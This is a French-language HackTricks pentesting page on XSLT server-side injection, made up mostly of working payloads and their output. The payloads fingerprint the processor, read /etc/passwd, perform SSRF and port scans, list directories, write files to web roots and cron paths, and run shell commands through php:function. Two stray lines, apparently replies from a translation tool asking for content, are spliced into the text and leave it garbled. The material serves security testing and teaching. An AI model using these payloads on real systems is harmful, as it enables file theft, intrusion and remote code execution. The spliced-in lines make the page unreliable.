XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Informations de base
XSLT est une technologie utilisée pour transformer des documents XML en différents formats. Elle existe en trois versions : 1, 2 et 3, la version 1 étant la plus couramment utilisée. La transformation peut s’exécuter soit côté serveur, soit dans le navigateur.
Les frameworks les plus fréquemment utilisés incluent :
- Libxslt de Gnome,
- Xalan d’Apache,
- Saxon de Saxonica.
Pour exploiter des vulnérabilités liées à XSLT, il est nécessaire que des balises xsl soient stockées côté serveur, puis qu’on accède à ce contenu. Un exemple d’une telle vulnérabilité est documenté dans la source suivante : https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.
Exemple - Tutoriel
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Veuillez coller le contenu du fichier src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md à traduire.
saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>
Empreinte
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Je n’ai reçu aucun contenu à traduire. Veuillez coller ici le contenu du fichier src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md ou fournir le texte à traduire.
$saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
Lire un fichier local
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
SSRF
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
Versions
Il peut y avoir plus ou moins de fonctions selon la version XSLT utilisée :
Fingerprint
Téléversez ceci et récupérez des informations
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
SSRF
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
Javascript Injection
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
Liste des répertoires (PHP)
Opendir + readdir
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
Assert (var_dump + scandir + false)
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
Lire des fichiers
Interne - PHP
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>
Interne - XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
Via HTTP
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
document() s’attend généralement à du XML
Sur libxslt, document() est utile pour SSRF et pour lire d’autres documents XML, mais tenter de lire des fichiers texte locaux arbitraires tels que /etc/passwd échouera souvent parce que la ressource référencée est parsée comme XML.
document('/path/to/file.xml')peut fonctionner si le fichier cible est un XML valide.document('/etc/passwd')génère souvent une erreur parce que le fichier n’est pas du XML.
Ceci est utile lors du triage d’une cible : un document('/etc/passwd') qui échoue ne signifie pas nécessairement que le processeur XSLT est durci.
Asymétrie du parseur : XML durci, XSLT toujours dangereux
Certaines applications durcissent le parseur XML d’entrée mais pas le parseur de feuille de style. Avec lxml, des options telles que resolve_entities=False, no_network=True, dtd_validation=False, et load_dtd=False peuvent bloquer un XXE classique dans le XML uploadé tandis que le XSLT est toujours parsé avec les paramètres par défaut ou que des fonctionnalités d’extension restent activées.
Cela signifie généralement :
- Un XXE dans le document XML peut échouer.
- Les fonctionnalités spécifiques à XSLT telles que
system-property(),document(), les fonctions d’extension, et les éléments EXSLT peuvent rester accessibles.
Donc, si les payloads XXE échouent, identifiez (fingerprint) d’abord le processeur, puis passez à des payloads XSLT spécifiques au processeur au lieu de vous arrêter au résultat du parseur XML.
Interne (PHP-function)
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
Port scan
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
Écrire dans un fichier
XSLT 2.0
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
Extension Xalan-J
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
libxslt / EXSLT exsl:document
Si la cible s’identifie comme libxslt (system-property('xsl:vendor')) et que l’application vous permet d’upload or store des XSLT contrôlés par l’attaquant, testez EXSLT secondary output. exsl:document peut écrire un nouveau document vers un chemin arbitraire accessible en écriture par le processus XSLT.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/html/test.txt" method="text">
0xdf was here!
</exsl:document>
</xsl:template>
</xsl:stylesheet>
Flux de travail pratique :
- Écrivez d’abord un marqueur dans un chemin servi par le serveur web pour confirmer le primitif.
- Ensuite, écrivez dans un execution sink déjà présent sur l’hôte, comme un cron-polled script directory, un parser auto-reload path, ou une autre entrée de tâche planifiée.
Si vous générez des shell payloads via XML, rappelez-vous qu’il s’agit d’un encodage XML, et non d’un encodage URL. Par exemple, utilisez & pour générer un & littéral dans le fichier écrit. Écrire %26 conservera généralement %26 littéralement et cassera les redirections shell.
Other ways to write files in the PDF
Inclure un XSL externe
<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
Exécuter du code
php:function
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
Exécuter du code en utilisant d’autres frameworks dans le PDF
Plus de langages
Sur cette page vous pouvez trouver des exemples de RCE dans d’autres langages : https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)
Accéder aux fonctions statiques PHP depuis des classes
La fonction suivante appellera la méthode statique stringToUrl de la classe XSL:
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
(Exemple tiré de http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)
Plus de Payloads
- Consulter https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection
- Consulter https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection
Liste de détection Brute-Force
Auto_Wordlists/wordlists/xslt.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Références
- XSLT_SSRF
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf
- 0xdf - HTB Conversor
- PayloadsAllTheThings - XSLT Injection
- EXSLT - exsl:document
- lxml API - XMLParser
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


